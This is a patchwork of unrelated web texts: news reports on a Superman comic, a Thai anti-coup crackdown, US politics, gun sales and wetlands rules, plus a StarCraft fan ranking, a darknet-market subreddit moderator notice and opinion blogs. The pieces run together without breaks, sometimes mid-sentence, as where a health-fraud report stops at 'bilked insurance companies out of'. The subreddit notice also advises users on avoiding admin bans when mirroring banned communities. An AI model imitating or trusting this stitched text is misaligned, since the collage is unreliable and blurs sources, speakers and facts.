“If Superman starts to feel that our situation here is hopeless, what does that say about us?”
Though the comic is dropping on the heels of the violent white supremacist rally that took place last month in Charlottesville, Virginia, Jurgens says the comic was actually written in May. And, he adds, the violent American in the comic is not necessarily meant to be a white supremacist.
“We don’t call him, nor did we ever refer to him as a white supremacist or a Nazi or anything like that,” he says. “It has more to deal with, I think, that angry sort of spirit that is out there among certain segments of society, where they feel like they’ve been cheated out of something that they may not be cheated out of, and that’s how we wanted to approach that scene.”
Breitbart and an opinion piece in Fox News have both railed against the new issue, with the former sayingthe character of Superman is a “leftist” who no longer represents “truth, justice and the American way.” When contacted by PRI, DC Comics, which publishes the Superman comic, declined to comment.
Fans seem split on Action Comics #987. In PRI’s Global Nation Exchange group on Facebook, some commenters said they were “fascinated” by the political points raised. Others like Hector Gonzalez Rodriguez III, the author of the El Peso Hero comic, said it felt like a “half-hearted attempt for headlines from DC Comics.”
“It feels late and contrived. There are major issues of diversity [and] representation of professionals within the major comic book publishers,” he says. “I do feel conflicted on the issue. In essence, it is part of what makes Superman a great character — he is the outsider looking in. As a Chicano comic book fan and creator, I am wary of the cultural appropriation of our struggles.”
Though some are critical of the new issue, Superman has always defended vulnerable communities and he’s always been political, says Joseph Darowski, a professor at Brigham Young University. Darowski is also a comic historian and the editor of “The Ages of Superman: Essays on the Man of Steel in Changing Times.”
“It’s an inevitable part of the comic book industry that politics is going to seep in,” Darowski says. “There’s always some reflection of what’s going on on the world stage.”
In the 1940s, Superman tried to stop World War II. He’s taken on corrupt politicians and got political during the Cold War, too.
“As America gets engaged in the space race, suddenly Superman’s enemies are coming from the stars more frequently,” Darowski says. “Kryptonite and other forms of radiation creeps into the stories after the dropping of the atomic bomb. During the Cold War and the nuclear arms race, Kryptonite becomes much more commonly used in Superman stories, and villains who get their power through radiation also become much more common. These geopolitical events end up being adapted in fantastic ways into the Superman comics.”
This article originally appeared on PRI.org. Its content was created separately to USA TODAY.
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Read or Share this story: https://usat.ly/2yg5pZeMedia playback is unsupported on your device Media caption The BBC's Jonathan Head said the streets were deserted
Thousands of police and soldiers have been deployed around the Thai capital, Bangkok, to try to prevent anti-coup protesters from gathering.
Parts of the city centre have been blocked off to traffic, and train stations are closed.
Activists have been using social media to call for a nationwide protest.
The Thai army seized power on 22 May and detained senior politicians for several days, saying stability had to be restored after months of unrest.
'Avoid damage'
Demonstrations against the coup have taken place almost daily in Bangkok, despite a ban by the military authorities on political gatherings of five or more people.
Bangkok's commercial heart was almost deserted on Sunday, after the army sealed it off to stop what was expected to be a large show of defiance, reports the BBC's Jonathan Head in the city.
Image copyright AP Image caption Plainclothes police officers arrested a possible protester amid the crackdown on Sunday
Image copyright AP Image caption Thousands of police and soldiers have been deployed
Deputy police chief Somyot Poompanmoung told Reuters that 5,700 police and soldiers were being sent to areas of the city, including shopping centres where previous rallies have sprung up.
"It's a business centre and we need to protectively avoid any damage if authorities need to break up a gathering," he said.
The coup leaders have repeatedly warned that they will take tough action against anyone opposing their authority.
So far there have been only minor scuffles between troops and protesters, although a number of alleged protest leaders have been arrested, our correspondent says.
Unrest
Army chief Gen Prayuth Chan-ocha announced on Friday that elections would not be held for more than a year, to allow time for political reconciliation and reform.
Thailand's military stepped in after six months of political deadlock as protesters tried to oust the government of Prime Minister Yingluck Shinawatra.
At least 28 people were killed and several hundred injured during the unrest.
Media playback is unsupported on your device Media caption The coup comes after months of escalating tensions
Since taking power the military has summoned and detained dozens of politicians, including Ms Yingluck, as well as journalists and academics.
The current deadlock dates from 2006, when the military ousted Ms Yingluck's brother, Thaksin Shinawatra, in a coup.
Both have strong support in rural and northern areas, propelling them to successive election wins.
However, many in the middle class and urban elite, who comprise the heart of the anti-government movement that began in November 2013, oppose them bitterly.The_Red_Viper Profile Blog Joined August 2013 18351 Posts Last Edited: 2015-10-30 02:20:06 #1
Thank you all for participating
Directly to the list
#16: Polt
Points: 250
Points: 250
#15: Lilbow
Points: 266
Points: 266
#14: Hydra
Points: 347
Points: 347
#13: FanTaSy
Points: 377
Points: 377
#12: PartinG
Points: 669
Points: 669
#11: Dream
Points: 729
Points: 729
#10: Life
Points: 875
Points: 875
#9: Rain
Points: 894
Points: 894
#8: Rogue
Points: 967
Points: 967
#7: Classic
Points: 1180
Points: 1180
#6: Zest
Points: 1229
Points: 1229
#5: Maru
Points: 1302
Points: 1302
#4: ByuL
Points: 1327
Points: 1327
#3: sOs
Points: 1370
Points: 1370
#2: herO
Points: 1456
Points: 1456
#1: INnoVation
Points: 1695
Points: 1695
Compact as list:
1. 1695 pts
2. 1456 pts
3. 1370 pts
4. 1327 pts
5. 1302 pts
6. 1229 pts
7. 1180 pts
8. 967 pts
9. 894 pts
10. 875 pts
11. 729 pts
12. 669 pts
13. 377 pts
14. 347 pts
15. 266 pts
16. 250 pts
So what do you guys think? Is the list reasonable?
+ Show Spoiler [original op] + here is a summary:
Back in may i decided that it would be a cool idea if we as a community make our own Power Rankings (especially because TL kinda stopped with it )
For that reason i want you guys to post your own power rankings in this thread, i will add everything up and post the end result in this thread.
What is special about this one?
Blizzcon is starting soon and after today we know all of the 16 competing players (i won't spoil the result in the op, but if you wanna watch todays match before doing your own PR, you probably shouldn't look at the lists posted here ). So i thought it would be interesting to do a special edition this time. Only players who participate at Blizzcon are allowed, from place 1 to place 16. Any list which contains a player who isn't part of Blizzcon or has less than 16 total players won't be counted towards the end result.
You can see the list of players here:
So how would it work?
It's pretty simple, just post your top 16 in this thread. I will go through every post and add the points up.
The point distribution will be like that:
1. place = 16 points
2. place = 15 points
3. place = 14 points
etc.
How much time do i have to post the list?
You will have three weeks, which means i will count every list which is posted till October 27
Feel free to discuss your rankings in this thread, if you have extra passion you also can write a short text for your favorite player and post it in here as well (it would be used for the final standings) I think most people should already know what this is, but for the newcomersBack in may i decided that it would be a cool idea if we as a community make our own Power Rankings (especially because TL kinda stopped with itFor that reason i want you guys to post your own power rankings in this thread, i will add everything up and post the end result in this thread.Blizzcon is starting soon and after today we know all of the 16 competing players (i won't spoil the result in the op, but if you wanna watch todays match before doing your own PR, you probably shouldn't look at the lists posted here). So i thought it would be interesting to do a special edition this time. Only players who participate at Blizzcon are allowed, from place 1 to place 16. Any list which contains a player who isn't part of Blizzcon or has less than 16 total players won't be counted towards the end result.You can see the list of players here: http://wiki.teamliquid.net/starcraft2/2015_WCS_Global_Finals It's pretty simple, just post your top 16 in this thread. I will go through every post and add the points up.The point distribution will be like that:1. place = 16 points2. place = 15 points3. place = 14 pointsetc.You will have three weeks, which means i will count every list which is posted till October 27Feel free to discuss your rankings in this thread, if you have extra passion you also can write a short text for your favorite player and post it in here as well (it would be used for the final standings) Ok so here it is, the final Community Power Rank v2!!Thank you all for participatingCompact as list: 1. INnoVation 1695 pts2. herO 1456 pts3. sOs 1370 pts4. ByuL 1327 pts5. Maru 1302 pts6. Zest 1229 pts7. Classic 1180 pts8. Rogue 967 pts9. Rain 894 pts10. Life 875 pts11. Dream 729 pts12. PartinG 669 pts13. FanTaSy 377 pts14. Hydra 347 pts15. Lilbow 266 pts16. Polt 250 ptsSo what do you guys think? Is the list reasonable? BLΛƆKPIИK in your area | Rosé | IU | Yuna Kim | SoHyang || soO | Maru | Alphastar || Jaedong | Larva | Calm | Rain | Snow || There is no God and we are his prophets | Pain is inevitable. Suffering is optionalCLOSE She may be a little bleary-eyed, but Fox News' Megyn Kelly has been tapped to co-host 'Live With Kelly' alongside Kelly Ripa on Wednesday, Nov. 9, the day after the presidential election. USA TODAY
Megyn Kelly will guest host alongside Kelly Ripa the morning after the election. (Photo11: Getty Images/AP)
The idea of Fox News anchor Megyn Kelly pulling an all-nighter on election day is not all that surprising.
But her morning-after plans are a bit unusual: She'll be guest-hosting Disney/ABC's syndicated talk show Live with Kelly.
It's unlikely that the lawyer-turned-journalist would permanently join the comparatively fluffy talk show (which happens to be short one host after Michael Strahan's May departure).
But it is a clear sign that Kelly, whose Fox contract expires in July 2017, is putting herself out there as a free agent.
In a rare interview with the Wall Street Journal, Fox CEO Rupert Murdoch took the unusual step of confirming that he and his lieutenants, sons James and Lachlan, are in active negotiations with Kelly to sign a new contract, possibly before she embarks on a book tour next month.
According to the story, she is reportedly seeking upwards of $20 million per year to stay put, which would give her salary parity with Bill O'Reilly.
Vanity Fair reported in mid-October that she was adding a new chapter to her book Settle for More, due Nov. 15, in which she will discuss her role in the investigation of sexual harassment by Fox News chief Roger Ailes, which ultimately led to his ouster in July.
Kelly, who earned fans from across the political aisle last summer by grilling Donald Trump about the way he discusses women, was praised this week for her handling of Donald Trump surrogate Newt Gingrich's argument that she — and the media as a whole — are "fascinated with sex."
The former House Speaker and presidential hopeful said the media has given an inordinate amount of coverage to the sexual assault allegations against Trump while ignoring the information that has been revealed in the leaked Clinton campaign emails. He also equated the accusations against Trump with those against Bill Clinton.
"The American public is less interested in the deeds of Hillary Clinton's husband than they are in the deeds of the man who asks us to make him president, Donald Trump," she continued. "We're going to have to leave it at that, and you can take your anger issues and spend some time working on them, Mr. Speaker."
Read or Share this story: http://usat.ly/2eQ5cUHBernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE laid out his vision for the U.S. in a Washington Post op-ed published early Thursday, calling for major progressive reforms across the board.
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“As we head toward the Democratic National Convention, I often hear the question, ‘What does Bernie want?’ ” Sanders wrote. “Wrong question. The right question is what the 12 million Americans who voted for a political revolution want.
“And the answer is: They want real change in this country, they want it now and they are prepared to take on the political cowardice and powerful special interests which have prevented that change from happening,” he continued.
The Vermont senator’s chances at securing the Democratic presidential nomination have been all but eliminated, and he has admitted that he is no longer courting superdelegates — who hold his only real chance of winning. Sanders has not dropped out of the race, though. He’s hoping to use his leverage as a candidate to bring the party more in line with his progressive vision, which he laid out in the op-ed Thursday.
He called for economic reforms that do more to help the needy, campaign finance reform, an end to mass incarceration and stiffer environmental regulations to combat climate change.
“What do we want?” Sanders wrote. “We want to end the rapid movement that we are currently experiencing toward oligarchic control of our economic and political life. As Lincoln put it at Gettysburg, we want a government of the people, by the people and for the people. That is what we want, and that is what we will continue fighting for.”Handgun sales in California broke a 21-year-old record in 2014, and at the same time, firearm-related murders fell to their lowest rate in over 20 years.
Moreover, accidental gun deaths decreased as well.
According to The Sacramento Bee, a record-breaking 510,000 handguns were sold in the state of California in 2014, easily breaking the previous record of 433,000 handguns sold in 1993. The rise in handgun sales reflects a national surge that was the result of “calls for more gun control in response to several mass shootings.”
The correlation between more guns and less crime was also seen nationally.
According to the FBI, violent crimes and property crimes fell in the first half of 2014 following a recording setting 21,093,273 background checks for firearm purchases in 2013.
On December 4, 2013, Breitbart News reported on a Congressional Research Service (CRS) study showing that an increasing rate of private gun ownership nationally, over a 15-year period, correlated with a sharply declining “firearm-related murder and non-negligent homicide” rate.
During the CRS study period, Americans went from owning 192 million guns in 1994 to owning 310 million guns in 2009. At the same time, the “firearm-related murder and non-negligent homicide” rate fell from 6.6 per 100,000 Americans in 1993 to 3.6 per 100,000 in 2000 and finally to 3.2 in 2011.
Follow AWR Hawkins on Twitter: @AWRHawkins. Reach him directly at awrhawkins@breitbart.com.Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
US Secretary of State John Kerry has warned that in the absence of a two-state solution, Israel risks becoming an apartheid state, The Daily Beast news site reported early Monday morning.
Kerry reportedly made the remarks on Friday to the Trilateral Commission in a closed-door meeting, a recording of which was obtained by The Daily Beast. The commission was formed in 1973 by private citizens of Japan, Europe and North America to foster closer cooperation between these regions.
According to The Daily Beast, Kerry also reiterated that failure of the Israeli-Palestinian negotiations could result in a resumption of Palestinian violence against Israelis.He apparently placed the blame on both sides for the crumbling of peace talks, slammed Israeli settlement construction, and opined that a change in either the Israeli or the Palestinian government could increase the possibility of achieving peace.“A two-state solution will be clearly underscored as the only real alternative. Because a unitary state winds up either being an apartheid state with second class citizens—or it ends up being a state that destroys the capacity of Israel to be a Jewish state,” The Daily Beast quoted Kerry as saying, suggesting that he may offer his own peace deal as a final option.Anti-Defamation League National Director Abraham H. Foxman responded Monday to the reports, saying he was shocked Kerry used such a word, even if it was said concern for Israel's peace and security."It is startling and deeply disappointing that a diplomat so knowledgeable and experienced about democratic Israel chose to use such an inaccurate and incendiary term," Foxman said."Even if he used the repugnant language of Israel's adversaries and accusers to express concern for Israel's future, it was undiplomatic, unwise and unfair. Such references are not seen as expressions of friendship and support."The Jerusalem Post could not independently confirm the veracity of the Daily Beast report.
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>LOS ANGELES - An orthopedic surgeon is charged as the ringleader in one of California's biggest health fraud schemes, which included unnecessary operations by an untrained assistant that scarred patients forever, according to indictments unsealed Tuesday.
Dr. Munir Uwaydah and 14 associates, including another doctor and a lawyer, bilked insurance companies out of |
quite a lot of public support for the war but the thing that bleeds public support is casualties, but you can't fight people without taking losses. There has been a nasty spate of casualties but over a similar period in Northern Ireland there were twice as many.The New York Times corrected an editorial on the GOP baseball shooting Thursday that baselessly accused Sarah Palin of inciting the 2011 shooting of Gabby Giffords.
“An earlier version of this editorial incorrectly stated that a link existed between political incitement and the 2011 shooting of Representative Gabby Giffords,” the correction reads. “In fact, no such link was established.”
The editorial initially stated there was a “clear link” from Palin’s rhetoric to Giffords’ shooting, as a means of justifying the board’s decision not to place the same kind of blame on Democrats for the baseball shooting.
“In 2011, when Jared Lee Loughner opened fire in a supermarket parking lot, grievously wounding Representative Gabby Giffords and killing six people, including a 9-year-old girl, the link to political incitement was clear. Before the shooting, Sarah Palin’s political action committee circulated a map of targeted electoral districts that put Ms. Giffords and 19 other Democrats under stylized cross hairs,” the board wrote, later adding: “Though there’s no sign of incitement as direct as in the Giffords attack, liberals should of course hold themselves to the same standard of decency that they ask of the right.”
As The Daily Caller’s Peter Hasson pointed out: “There is no evidence to support the conspiracy theory that Loughner, a schizophrenic, was at all inspired by Palin’s electoral map.”
Journalists of varied political persuasions ruthlessly slammed the editorial Thursday, in turn referring to the Giffords claim in particular as a “despicable lie,” “nuts,” “stupid,” “completely wrong” and “the worst editorial they have run in a decade.”
In addition to issuing the correction note, The New York Times made several edits to the piece correcting the record, most notably adding a line after the Giffords claim that states “no connection to the shooting was ever established.” The board also replaced the line saying a “link” is clear with this admission: “At the time, we and others were sharply critical of the heated political rhetoric on the right.”
Here’s how those two paragraphs read now, with changes in bold:
“Was this attack evidence of how vicious American politics has become? Probably. In 2011, Jared Lee Loughner opened fire in a supermarket parking lot, grievously wounding Representative Gabby Giffords and killing six people, including a 9-year-old girl. At the time, we and others were sharply critical of the heated political rhetoric on the right. Before the shooting, Sarah Palin’s political action committee circulated a map of targeted electoral districts that put Ms. Giffords and 19 other Democrats under stylized cross hairs. But in that case no connection to the shooting was ever established. Conservatives and right-wing media were quick on Wednesday to demand forceful condemnation of hate speech and crimes by anti-Trump liberals. They’re right. Liberals should of course be held to the same standard of decency that they ask of the right.”
The heavy edits were made less than 12 hours after the editorial went live.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.One of the great challenges in covering the environment has always been learning to separate fact from fiction when it comes to regulations. Because almost every regulation protecting the public will cost those being regulated money, the debate can be fierce.
But over the years I've learned a few basic rules for getting to the truth:
-- Actually read the regulation.
-- Look at the supporting evidence required for its implementation, which includes the field research it's based on as well as the estimated costs and benefits for those being protected and regulated.
-- Listen to any opposition, and read any evidence they provide.
-- Never, ever, take what politicians have to say about the regulation at face value, especially if they oppose it.
What happens to Louisiana environment under Trump administration? Coastal restoration, oil and gas production, pollution rules all in play
All of which brings us to the Trump administration's attempt to repeal the Waters of the U.S. Rule (WOTUS) -- and the loud support that came from Louisiana Attorney General Jeff Landry.
WOTUS was the long-delayed result of Supreme Court rulings in the late 1980s that removed about 20 million acres of wetlands from protection under the Clean Water Act passed in 1972. These were mostly seasonal and isolated wetlands and streamside areas, but they are critical to the safety of almost a third of the nation's drinking water, as well as to fish and wildlife -- especially migratory waterfowl and cold-water trout.
But the justices didn't rule these wetlands were unimportant, only that Congress had not specified those types of wetlands for protection in the original act.
A solution seemed simple enough: Congress could pass amendments to the Clean Water Act including these specific habitats, quickly restoring the protections. Democrats tried that, but the GOP -- either in Congress or the White House --blocked every attempt.
Meanwhile farmers and developers clamored for a new definition of what they could drain, plow and build on.
The WOTUS rule did just that.
It's important to understand that rules and regulations like this do not become the law of the land by presidential fiat, or by the whims of some faceless bureaucrat. They must follow a years-long legal road that requires evidence showing their need and their environmental, social and economic impacts. Then the public, including Congress, has a chance to weigh in.
In fact, WOTUS inspired more than a million public comments, the overwhelming majority of which were supportive, and it was backed by an exhaustive compilation of research. It did not restore everything the judges put at risk or expand protection to areas they were never covered before. Yet it did enough to draw the praise of green groups as well as almost every major sportsmen's organization.
But Trump came into office parroting the conservative shouting point that regulations were killing jobs and stealing private property. WOTUS would be one of his first targets because, he said, "nearly every puddle or every ditch on a farmer's land" would be covered, and anyone wanting to build a home would "have to worry about getting hit with a huge fine if you fill in as much as a puddle -- just a puddle -- on your lot."
And when Trump's EPA announced recently it was beginning its review of WOTUS with an eye to repeal, our attorney general send out a press release cheering the move. Landry claimed the rule gives authority to the feds "over dry channels, roadside ditches, and isolated streams."
Their hyperbole doesn't reflect the truth -- not an unusual finding among politicians making a career out of hating environmental protections.
The truth about the worst libels heaped on WOTUS by its opponents can be found in a detailed evaluation of those claims by William Andreen, a law professor at University of Alabama School of Law. His paper "A Baker's Dozen of False Memes About The Clean Water Act and The Waters of the United States Rulemaking" actually quotes what the rule states.
For example, the claim that "even ditches are regulated?" -- Andreen reports the final rule states that the following are not waters of the United States: "[a]rtificial, constructed lakes and ponds created in dry land such as farm and stock watering ponds, irrigation ponds, settling basins, fields flooded for rice growing, log cleaning ponds, or cooling ponds."11
On the charge puddles are covered? If by "puddle" one means a relatively small, temporary pool of water that forms on uplands or pavement right after a rainstorm or snowmelt, then, as EPA and the Army Corps of Engineers stated in their rulemaking, such puddles "obviously are not, and never have been thought to be waters of the United States subject to CWA jurisdiction."1 In fact, the final rulemaking explicitly declares that "puddles" are not waters of the United States.2
Or another favorite, it regulates ground water! The final rule specifically excludes groundwater from regulation: "The following are not 'waters of the United States'... groundwater, including groundwater drained through subsurface drainage systems."16
It's the same with the rest of Andreen's baker's dozen. And you'll note that each of the refutations is accompanied by footnotes. They refer to the legal standards which the rule is based on.
In other words, facts.
That is something to look for when you hear debates about environmental regulations - especially the claims about them coming from politicians.
Bob Marshall, former Outdoors editor for The Times-Picayune and former environmental reporter for The Lens, will be writing a regular column. He can be reached at bmarshallenviro@gmail.com.The top Democrat on the House Intelligence Committee shot down President Trump’s claim to have an “absolute right” to do what he wants with the Department of Justice, telling him: “No, you don’t.”
“You can do what you want with your golf courses,” Adam Schiff, D-Calif., said in Friday tweet. “But the country and its Justice Department belong to the American people."
Trump: “I have absolute right to do what I want to do with the Justice Department.”
No, you don’t. You can do what you want with your golf courses. But the country and its Justice Department belong to the American people. https://t.co/60DFvIEMjk — Adam Schiff (@RepAdamSchiff) December 29, 2017
The tweet is in response to President Trump’s comments when asked if he would order the Justice Department to reopen its investigation into Hillary Clinton’s private email server.
“I have absolute right to do what I want to do with the Justice Department,” Trump told the New York Times in a Thursday interview from Trump International Golf Club in Palm Beach, Florida. “But for purposes of hopefully thinking I’m going to be treated fairly, I’ve stayed uninvolved with this particular matter.”
The House Intelligence Committee is conducting an investigation separate from special counsel Robert Mueller’s into Russian meddling in the 2016 presidential election and possible collusion with the Trump campaign.
Schiff has been an outspoken critic of Trump, and has continually stressed the importance of the Russia investigations.
Trump has criticized both the Justice Department and Attorney General Jeff Sessions' handling of these matters. He told the New York Times it was “too bad” that Sessions recused himself from the investigation, which paved the way for Mueller.
In November, the president told reporters he was “disappointed” that the Justice Department is not investigating Clinton.
“I like to let it run itself,” Trump said of the agency. “Honestly, they should be looking at the Democrats. They should be looking at Podesta and all of that dishonesty. They should be looking at a lot of things. A lot of people are disappointed in the Justice Department, including me.”
He also argued on Twitter last month that the Justice Department should investigate Clinton and the Democratic national Committee.
“Everybody is asking why the Justice Department (and FBI) isn’t looking into all of the dishonesty going on with Crooked Hillary & the Dems. New Donna B book said she paid for and stole the Dem Primary. What about the deleted E-Mails, Uranium, Podesta, the Server, plus, plus,” Trump said in a series of tweets. “People are angry. At some point the Justice Department and the FBI must do what is right and proper. The American people deserve it!”As you may have seen/heard that more than a few subs and users have been banned. Majority of these were actively and openly soliciting sales or promoting illegal activity.
/r/DarkNetCarpets, Admins seem to be active and banning newly created subs ( /r/thexanaxcartel2 /r/totallylegitmarket ) to keep anything from sprouting before sub gets large. If you intend on creating mirrors for banned subs, be smart and don't advertise/mention it at least today.
The following subs have been banned:
the following users have been banned
edit: they are now unbanned.
What does this mean for us?
Means we need to stay proactive in keeping this a neutral sub where we do not promote activites which may leaed to the banning of this sub.
Remember, this sub is for sharing reviews and information.
do not promote illegal activities by linking to items which may be illegal (this includes in reviews. DO NOT LINK TO ITEM/VENDOR IN REVIEWS)
do not link to vendors/dealers; their name and where they are found is okay.
I've noticed many comments making fun by creating jokingly false onion urls. Knock it off, this is your only warning followed by a ban (duration is depends on acting mod)
do not advertise items, services, prices, or anything that violates reddit's TOS.
report or message the mods when you see comments or posts where people are violating any rules.
preparing for the worst case scenario, take screenshots of your favorit posts/comments and save them just in case. more to come
reply in here for other signifcamt subs/users that were banned.
any new posts created after this will be locked and removed.If you're the sort of person who's tempted to take calls while driving -- or worse, answer text messages -- there are dozens of apps to help curb your addition. Now, Sprint is making the process even easier by pre-installing the Drive First app on every Android phone.
Drive First works like many other anti-distracted-driving apps we've seen, including PhoneGuard, SafeCell, and DriveSafe.ly. When the phone's accelerometer registers a certain speed (usually around 10 mph), it automatically shuts off most features: incoming calls are sent straight to voicemail; text-message alerts are turned off and an auto-response tells the sender that the phone's owner is currently unavailable; and most apps are disabled, too.
Drive First does have a few interesting differences, though: it allows users to pre-select three apps for use while driving (e.g. Google Maps or other navigation services), and it allows the sender to communicate with three pre-selected contacts (e.g. parents, spouses, employers). Also, instead of paying for the app outright, users pay a monthly fee. At $2 a pop -- per phone, plus tax -- that could generate some sizable cash for Sprint.
We should point out, however, that even though Drive First will come pre-installed on Sprint phones, it won't be automatically activated; users will have to opt-in to the service. Nevertheless, we expect a fair number of folks to do so, especially parents and bosses. We also expect other wireless providers to offer similar services soon -- especially AT&T, given the extra mouths it now has to feed.
Drive First should be available on Sprint's Android handsets during the third quarter of 2011. For the curious, we've pasted an official press release below.
* * * * *A Congress-led government executed Afzal Guru.
This much should be obvious and yet, in the din and clamour of the last few weeks, it almost seems as if this fact has been forgotten. Television channels have a part to play in this, characterising anyone who criticised the government's actions against the sedition-accused Jawaharlal Nehru University students as the Afzal League, or some variant thereof. But the party too has added to this impression, not least with audacious comments from former Cabinet minister Palaniappan Chidambaram.
In an interview with the Economic Times just as his new book is coming out, Chidambaram said that it was possible to ask questions about the role played by convicted terrorist Afzal Guru in the 2001 Parliament attack.
"There were grave doubts about his involvement in the conspiracy behind the attack on Parliament and even if he was involved, there were grave doubts about the extent of his involvement. He could have been imprisoned for life without parole for rest of his natural life," the former minister said. "But being in government you cannot say the court has decided the case wrongly because it was the government that prosecuted him."
Going simply on face value, Chidambaram is making an eminently reasonable point: It is possible to question both Afzal Guru's role in the terror attacks as well as ask whether he deserved capital punishment. But nothing the Congress does should be taken just at face value.
Cynical Congress
Chidambaram's party has been attempting to do a cynical dance, somewhat backing its Vice President Rahul Gandhi's decision to suddenly turn up at JNU and give a rabble-rousing speech. But, concerned about being labeled anti-national, the party has also repeatedly qualified its support for the sedition-accused students and barely even attempted to make a case for free speech.
The events of Friday were a perfect example of this. After a fiery, error-riddled speech by Human Resource Development Minister Smriti Irani, which included a portion disparaging alternative Hindu traditions, the Congress chose not to defend the plurality of India's rich, diverse religious heritage. Instead, it wanted Irani's statement's struck from the record for being blasphemous.
Chidambaram's comments are even more insidious. They may seem like a defence of free speech, galling enough coming from the leader of party that gave India section 66A, but they conveniently come many years after the fact. Now that there is political currency to be earned from siding with those who question Guru's involvement, Chidambaram is happy to do it.
Afzal Guru's execution
Never mind the fact that the minister did not raise these concerns during the decade in which Chidambaram's party was in power. It was his own ministry that rejected Guru's mercy petition and recommended to the President that he be hanged. And yet, audaciously, Chidambaram's comments include a suggestion that there might have been an alternative way of handling Guru.
"[Afzal Guru] could have been imprisoned for life without parole for rest of his natural life." — P. Chidambaram
Which is why it bears repeating: A government led by the Congress – Chidambaram's party – executed Guru and, worse, did it in secret a year before the 2014 elections.
Over the course of that year, the Congress attempted to sell itself as the party that killed Mumbai attacks convict Ajmal Kasab and Guru. These executions were meant to shore up its credentials as a strong-willed party capable of ensuring national security. Since that tack has failed miserably, with the 2014 Lok Sabha elections being the best indicator, the Congress has found it more than convenient to go back and raise doubts about the guilt of the man that the party had executed.
Ishrat Jahan killing
Former Home Secretary GK Pillai, this week, also gave us another reminder of the dangerously cynical manner in which the Congress plays with sentiments and lives. Pillai admitted that the home ministry in 2009 made changes to its affidavit in the Gujarat High Court about Ishrat Jahan, a 19-year-old who was shot dead by the Gujarat Police in 2004.
That Congress attempted to use the allegedly extra-judicial killing of Jahan as proof of the dangerous excesses of the Gujarat government under then-Chief Minister Narendra Modi. But in doing so it seems to have deliberately obfuscated the fact that Jahan may have been a terrorist, or had terror connections.
Instead of focusing on the extra-judicial nature of Jahan's death, the Congress sought to project her as an innocent woman murdered by Modi's henchmen, and went to the extent of deleting intelligence inputs suggesting a connection to the Lashkar-e-Taiba.
Over two months in 2009, the ministry filed two different affidavits, with the second one omitting Jahan's alleged connection to the LeT. The ministry even insisted that nothing stated in the first affidavit could be used to support or justify the action of the state police. Pillai, in a television interview, admitted that the ministry had deliberately made this change.
"One affidavit said these people were LeT operatives and in the other affidavit that aspect was deleted. I really won’t know why it was deleted. It was done at a political level," he told TimesNow.
As with the Afzal Guru comments, the Congress showed its willingness to alter facts and toy with the judicial process looking into the death of a person. And Pillai's comments are even more timely because of the person who was his boss and the country's Home Minister at the time: P Chidambaram.Rarely do I feel compelled to blog immediately from something I read online, but I just read a fascinating article by Jolie O’Dell entitled: Why We Don’t Need More Women In Tech… Yet. In addition to that article, @simonjadis linked me another interesting article entitled Too Few Women in Tech? Stop Telling People How They Should Feel About It. Really thought-provoking pieces about the challenges the industry faces in diversifying. The most interesting part of these articles for me lies in the ideas about childhood and how our dearth of women in tech might stem in part from how girls and boys are treated early on, even starting out with the types of toys available to them.
You will immediately notice the drastic segregation — the gendered version of the Jim Crow-era South. There are entire aisles of pink, and other aisles devoted to dark blues and greens. Imagine that you are only “allowed” in the pink and purple areas of the store, and examine the toys you find there. The vast majority of playthings for little girls encourage them to think about nurturing others and caring for themselves — including, to a large extent, their appearances. These aren’t inherently negative lessons to learn, except for the fact that these lessons exclude others that deal with problem-solving, strategy, physics… you know, the kinds of things you learn from playing with Lego, K’nex, Stratego and other male gender-coded games and toys.
This struck a BIG chord with me. I’m pretty militant when it comes to how we encourage little girls (AND WOMEN) to be princesses and wear ruffles and buy name designer bags (Reality TV stars anyone?). I loathe it with all my being, because that is soooo the opposite of me and my upbringing and how I think girls should be treated in order to reach their full potential. It made me think back to myself as a kid. I had very techno-savvy parents and grandparents, which I think contributed HUGELY to who I am today. Achievement in the sciences was EXPECTED. Of course as a 5 year old I wanted the tricked out plastic kitchen from Toy’s R Us, I’m not gonna lie, but I also competed with my brother in building lego sculptures, played text adventures when I was 6 on the computer, and learned as much math as I could just to impress my physicist Grandpa every time we’d visit. When I was 14 I even subscribed to 2600, the hacker magazine, because, for some reason, I got the idea that there would be nothing cooler in the world than to be a REAL hacker myself (didn’t have the follow-through to get good at it though, haha).
I think a LOT of this is because I was home-schooled and didn’t hang out with other girls, because honestly, I think I would have shifted my interests greatly if I had attended regular school. I never had the peer pressure to concentrate on being gorgeous, or have the latest jeans, or attract the cutest boy in class. I also never felt like an outcast for liking the stuff that was “nerdy” or “weird”, it was just…what I did. Yes, I lived in a bit of a bubble, and consequently created my own parameters of what was cool and where areas to achieve in, but I also was raised blind to calling my interests out as “special” just because of my gender. It’s almost as if calling ATTENTION to a girl who is drawn to science can be as destructive as ignoring her, you know? Ideally we’re striving for a blind system of people attracted to their inner muses, but that can’t seem to happen as easily when you look at our education system and the way our culture grooms girls to conform to this IDEA of a GIRL that, to me, is terribly limiting.
I don’t have any answers here, and I’m not saying that little girls are all indoctrinated from birth to love Barbies and that ruins their lives (I mean, I loved them too IN ADDITION to my science fiction books. I also alphabetized my stuffed animal collection. Er…moving on.) Boys and girls are genetically different, clearly, but we have stereotyped them into a shortcut for what the SHOULD be before giving them a change to find out who they are themselves. I guess the REAL work needs to be working with children early on, having the right mentors in their life so they are raised less with perceptions of HOW they should be as a girl, and instead WHAT they love as a human being.What would you do if you learned that Bush Administration officials wanted to round up thousands of Americans and throw them into concentration camps?
For all we know, there is no slippery slope. It's entirely possible that extraordinary rendition, eliminating habeas corpus, and the torture camps at Guantánamo and elsewhere are exactly what the government says they are--tools for fighting terrorists, not domestic political opponents. But how likely is it?
History is clear: Over and over again, the U.S. government places fascists in powerful positions. Once in office, they exploit wars and national tragedies to roll back hard-won freedoms. They're Democrats as well as Republicans.
